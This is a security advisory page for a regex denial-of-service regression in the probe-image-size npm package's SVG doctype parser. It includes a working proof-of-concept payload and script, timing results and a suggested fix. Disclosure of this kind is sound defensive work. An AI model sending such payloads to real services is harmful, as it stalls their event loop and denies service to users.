Vulnerability DatabaseGHSA-5jh3-w3fj-6758

GHSA-5jh3-w3fj-6758: 
JavaScript vulnerability analysis and mitigation

Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone. Found with AploSec, our security scanner, and confirmed by execution.

Summary

The SVG header parser rewrite that fixed GHSA-gjj5-9665-rwrc (CVE-2026-104861) introduced a different quadratic regex, in the doctype alternative. An SVG that opens a doctype internal subset and never closes it costs about 120 ms of event-loop time per probe at the 10 KiB input cap, against under 1 ms for a normal SVG.

Affected versions

  • probe-image-size 7.4.0 (npm latest, published 2026-08-15). Default-branch HEAD 64565c3c ("7.4.0 released") is identical to the release, and it is still the latest commit and version as of 2026-10-22.
  • 7.3.0 does not have this pattern (it had the parent issue instead). This is a regression introduced by the 7.4.0 fix.

Details

lib/common/svg_header.js:32. The doctype alternative of PROLOG_RE is <![A-Za-z][^[>]*(?:\[[\s\S]*?\][^>]*)?>. On <!a[ followed by many ] and no >, the lazy [\s\S]*?\] stops at each ] in turn, and [^>]* then rescans the rest of the input before failing, so the match is O(n^2). The other prolog constructs (processing instructions, comments, CDATA, root attributes, whitespace) are linear in the same test. Reachable through probe.sync (lib/parse_sync/svg.js) and probe(stream) / probe(url) (lib/parse_stream/svg.js). Both cap the input at MAX_DATA_LENGTH = 10240, which bounds the cost per call. Attacker model: remote and unauthenticated. The attacker supplies an SVG (bytes or URL) to a service that calls probe-image-size.

Proof of concept

const probe = require('probe-image-size')
const hdr = require('probe-image-size/lib/common/svg_header')
const ms = f => { const s = process.hrtime.bigint(); try { f() } catch (e) {} return (Number(process.hrtime.bigint() - s) / 1e6).toFixed(1) }
const attack = n => '<!a[' + ']'.repeat(n - 4)        // unterminated doctype internal subset, no '>'
const control = n => '<!a[' + ']'.repeat(n - 4) + '>'  // same bytes, terminated
for (const n of [2500, 5000, 10000, 20000, 40000])
  console.log('svg_header.parse', n, 'attack', ms(() => hdr.parse(attack(n))), 'ms, control', ms(() => hdr.parse(control(n))), 'ms')
for (const n of [2500, 5000, 10000, 10240, 50000])
  console.log('probe.sync', n, 'attack', ms(() => probe.sync(Buffer.from(attack(n), 'latin1'))), 'ms')

Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none. Controls:

  • The same bytes with a closing > parse in 0.0 to 0.1 ms at every size.
  • The parent payload '<a'.repeat(n / 2) takes 1,794 ms at 50 KB on 7.3.0 and 0 to 1 ms on 7.4.0, so the parent fix works and the harness can detect slowness. Results (7.4.0):
svg_header.parse  n=2500 7.2 ms | 5000 28.2 ms | 10000 115.5 ms | 20000 453.4 ms | 40000 1816.3 ms   (4x per doubling)
probe.sync        2500 B 8 ms | 5000 B 30 ms | 10000 B 121 ms | 10240 B 123 ms | 50000 B 124 ms (plateau at the cap)
5 sequential probe.sync calls on the 10240 B payload: 611 ms
probe(stream), single 10240 B chunk: 129 ms

A rerun of the exact script above on 2026-10-22, on a faster host (Docker on Apple Silicon), gave the same quadratic growth: 3.2 / 12.9 / 42.6 / 215.7 / 623.3 ms for svg_header.parse, and 41 ms for probe.sync at the 10240 B cap. Feeding the stream parser one > per chunk does not multiply the cost: a > right after the first ] ends the doctype, so only short, linear re-parses happen (137 ms at 10 KiB with 1-byte chunks).

Impact

Low. The 10 KiB cap limits each probe to about 120 ms of blocked event loop, roughly 1000x a normal parse. It matters for services that probe many untrusted SVGs, where a sustained request rate turns it into a denial of service.

Suggested fix

Make the internal subset scan linear, for example (?:\[[^\]]*\][^>]*)? in place of (?:\[[\s\S]*?\][^>]*)?, or scan the doctype with indexOf instead of a regex. Zachariah Mithani (zachariah@aplosai.com) AploSec (aplosec.si) Credit: Zachariah Mithani (@zachariah-mithani, AploSec)


Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management